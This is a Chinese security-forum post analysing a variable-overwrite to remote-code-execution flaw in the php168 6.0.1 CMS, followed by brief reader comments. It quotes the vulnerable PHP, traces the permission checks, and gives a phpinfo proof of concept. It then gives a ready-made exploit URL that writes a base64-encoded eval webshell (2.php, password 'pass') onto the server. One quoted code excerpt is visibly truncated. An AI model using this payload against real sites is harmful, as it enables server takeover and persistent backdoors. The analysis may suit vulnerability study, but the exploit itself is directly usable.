php168 6.0.1变量覆盖 => 远程代码执行漏洞(全网最详细漏洞解析)

君叹   ·   发表于 2022-07-13 18:01:26   ·   代码审计

php168 6.0.1变量覆盖 -》 远程代码执行漏洞

前言:敢说全网最详细是因为我做一半我做不下去了,我心态做崩溃了,然后上网找漏洞成因,我找不到,然后又搞了好久,真的心态崩了,到最后灰盒测试的时候我可能PHP版本原因,我php代码写的是
``
url是 ?job=abc
然后他真的输出 abc 了
当时php版本好像是5.2
找出来是php版本问题的时候我幼小的心灵真的受到了莫大的冲击
源码在附件里


1. 代码审计

1. 漏洞产生文件


2. 漏洞函数

function get_html_url(){
    global $rsdb,$aid,$fidDB,$webdb,$fid,$page,$showHtml_Type,$Html_Type;
    $id=$aid;
    if($page$_value){
    !ereg("^\_[A-Z]+",$_key) && $$_key=$_GET[$_key];
}

很明显变量覆盖
也就是说,我们get传参,传啥有啥
post也行其实
因为这里也对POST传参干了这么一套流程


8. Add_s() 函数 过滤传参

往上找的话
可以看到一段

$_POST=Add_S($_POST);
$_GET=Add_S($_GET);
$_COOKIE=Add_S($_COOKIE);

function Add_S($array){
    foreach($array as $key=>$value){
        if(!is_array($value)){
            $value=str_replace("&#x","& # x",$value);    //过滤一些不安全字符
            $value=preg_replace("/eval/i","eva l",$value);    //过滤不安全函数
            !get_magic_quotes_gpc() && $value=addslashes($value);
            $array[$key]=$value;
        }else{
            $array[$key]=Add_S($array[$key]); 
        }
    }
    return $array;
}

能看到 eval 是被过滤了
这里想要传入
${eval($_REQUEST[‘cmd’])}
是不太可能了
并且添加了魔术引号


既然找到了这里存在任意变量覆盖漏洞
我们就再回到post.php中看看上面还需要满足什么条件


9. showerr()函数追踪

我们可以看到showerr()的提示都是一些无权限
说明这里可能是类似于exit的东西,会停止页面执行


全局搜索,追踪一下
我们可以看到这里一个 if 是退回上一级目录
在js中 history.back(-1) 这行代码就是退回上一级目录的意思
else 是去包含 showerr.htm 文件
然后退出

function showerr($msg,$type=''){
    global $webdb,$showerrMsg;
    $showerrMsg=$msg;
    if($type==1){
        $msg=str_replace("'","\'",$msg);
        echo "

        ";
    }else{
        require(PHP168_PATH."template/default/showerr.htm");
    }
    exit;
}

10. 条件分析

自下而上分析一下第一个条件

这里需要 $job 不等于 ‘postnew’
并且
$lfjid 的布尔值为 false 或者 为空 或者 为 0
两个条件都满足就会停止执行
如果我们想要触发漏洞
$job的值就需要是 ‘endHtml’
这里已经满足一个条件
只能从另一个条件入手
想办法让另一个条件不成立
亦或者 因为 这里的提示信息是 游客无权操作
所以只要我们不是游客身份,也就是注册个用户
再弄,就不会触发了

if(!$lfjid&&$job!='postnew')
{
    showerr("游客无权操作");
}

第二个条件

第二个 if 中有三个条件判断是,都是以 && 符号连接
也就是三个都满足才会执行

if($fidDB&&!$web_admin&&!in_array($groupdb[gid],explode(',',$fidDB[allowpost])))
{
    showerr("你所在用户组无权在本栏目“{$fidDB[name]}”有任何操作");
}
  1. $fidDB

  2. !$web_admin

  3. !inarray($groupdb[gid],explode(',',$fidDB[allowpost]))

这三个条件分别解释的话
1 存在$fidDB值且非0
2 web_admin 的值为 0 或 false
3 $groupdb[gid] 得到的值不存在于 explode(‘,’,$fidDB[allowpost])) 中

$fidDB的值是由第三个条件从而赋值的

我们先看第三个条件

第三个条件
$fid 和 $stop 两个变量有一个存在就会执行

if($fid||$step){
    $fidDB=$db->get_one("SELECT * FROM {$pre}sort WHERE fid='$fid'");
    !$fidDB && showerr("栏目有误");
    $fidDB[type]!=0 && showerr("你只能选择子栏目发表内容!");
}

$fidDB是根据 $fid 生成的
$fid的值并未在本页面赋值
可以判断这个可能也是由get传入
$$_key那里来进行赋值
所以应该不传入就行了


再向上最后一个 if 条件
if((!$fid&&!$only)||$jobs=="choose")

可以分为两个条件
两个条件满足一个就会触发
!fid&&!$only

$jobs=='choose'

第一个条件是说不存在 $fid 并且不存在$only
第二个条件是说需要 $jobs 等于 ‘choose’
这里的话直接实测一下他们的值


测试

直接访问
会提示你所在用户组无权发表文章


然后我们打开代码发现
这条语句是自上而下第一个 if 的内容
我们在这个上面分别die一下这三个变量的值


然后我们发现 this is 后面啥也没有
说明这里是空值
$only和$jobs也一样


根据上面的分析条件
$fid是空值就是最好的状态
所以我们传入 only=1
删掉die语句
然后他让我登录…


我们来寻找一下是哪个地方让我们登录的
通过die(‘abc’);
来查看代码到哪条语句之后让登录
哪条语句之前会 die 掉
就能找到是哪里让我们进行登录操作的


是这里的 showerror 函数拦截了我们
我们die一下 $lfjid 的值


根据这里的游客无权操作,我们可以得知应该注册账号就行了
但是因为前面的变量覆盖漏洞
我们试试看可不可以传入一个 lfjid=1 从而绕过


可以发现还是不行
那就直接注册一个用户


然后会发现页面没有提示了


那么根据上面构造的语句
POC:

?showHtml_Type[bencandy][1]={${phpinfo()}}
&aid=1
&only=1
&job=endHtml


GetShell

因为禁止了eval()函数
我们想要写入eval()木马的话
可以这样
{${phpinfo() and print(ok)}}
{${file_put_contents(“2.php”,base_decode(‘PD9AZXZhbCgkX1BPU1RbJ3Bhc3MnXSk7Pz4g’)) and print(‘ok’)}}
结果我们发现页面上并没有打印ok


这里的话因为php的版本问题(5.2.17)用下面的exp就能够生成木马
但是版本高了的话就不太能用了这个exp
因为魔术引号的存在就有了局限性
但是如果有CTF大佬的话这肯定也不在话下

exp就是下面这个
Mi5waHAg 是 2.php空格 的base64编码
PD9waHAgZXZhbCgkX1JFUVVFU1RbJ3Bhc3MnXSk7Pz4g 是一句话木马空格的base64编码
反正得在最后加一个空格,连着空格一起base64编码
就能得到这两串
按理来说里面是不允许存在 / = 这样的
/ 和 = 号也并未被拦截过滤,反正就是不能执行

通过这张截图就能看出来
因为这里的 die 语句我是写在 eval上面的
在最后命令执行的时候就是这个样子了
=和/都没被过滤


EXP:

?showHtml_Type[bencandy][1]={${file_put_contents(base64_decode('Mi5waHAg'),base64_decode('PD9waHAgZXZhbCgkX1JFUVVFU1RbJ3Bhc3MnXSk7Pz4g')) and print('ok')}}&aid=1&only=1&job=endHTML

会生成一个 2.php 密码为 pass 的文件


总结

这里其实也可以倒过来找漏洞
这里是从 eval 找到变量覆盖
其实也可以从变量覆盖的地方找到 eval rce
两种思路都可以
到了最后 exp 的地方我也蒙了
也不是很能找到原因
网上更是找不到相关的解析
找到的都要么直接放exp
要么就很乱的代码
有知道原因的师傅欢迎在评论区留言

用户名金币积分时间理由
Track-劲夫 50.00 0 2022-07-15 15:03:19 一个受益终生的帖子~~

打赏我,让我更有动力~

10 条回复   |  直到 2023-9-26 | 1249 次浏览

782062
发表于 2022-7-14

<script>
1
11
1
11
1
1

评论列表

  • 加载数据中...

编写评论内容

倒霉xion
发表于 2022-7-16

1

评论列表

  • 加载数据中...

编写评论内容

15526566807
发表于 2022-7-17

牛蛙

评论列表

  • 加载数据中...

编写评论内容

学kali的小白
发表于 2022-7-21

111

评论列表

  • 加载数据中...

编写评论内容

2024262691
发表于 2022-7-21

1

评论列表

  • 加载数据中...

编写评论内容

郎贤坤
发表于 2022-8-1

大佬牛啊

评论列表

  • 加载数据中...

编写评论内容

治秃用霸王
发表于 2022-8-5

大佬,牛

评论列表

  • 加载数据中...

编写评论内容

墨央画
发表于 2022-11-13

666

评论列表

  • 加载数据中...

编写评论内容

frankk
发表于 2022-11-29

111求源码

评论列表

  • 加载数据中...

编写评论内容

azz
发表于 2023-9-26

1

评论列表

  • 加载数据中...

编写评论内容
登录后才可发表内容
返回顶部 投诉反馈

© 2016 - 2024 掌控者 All Rights Reserved.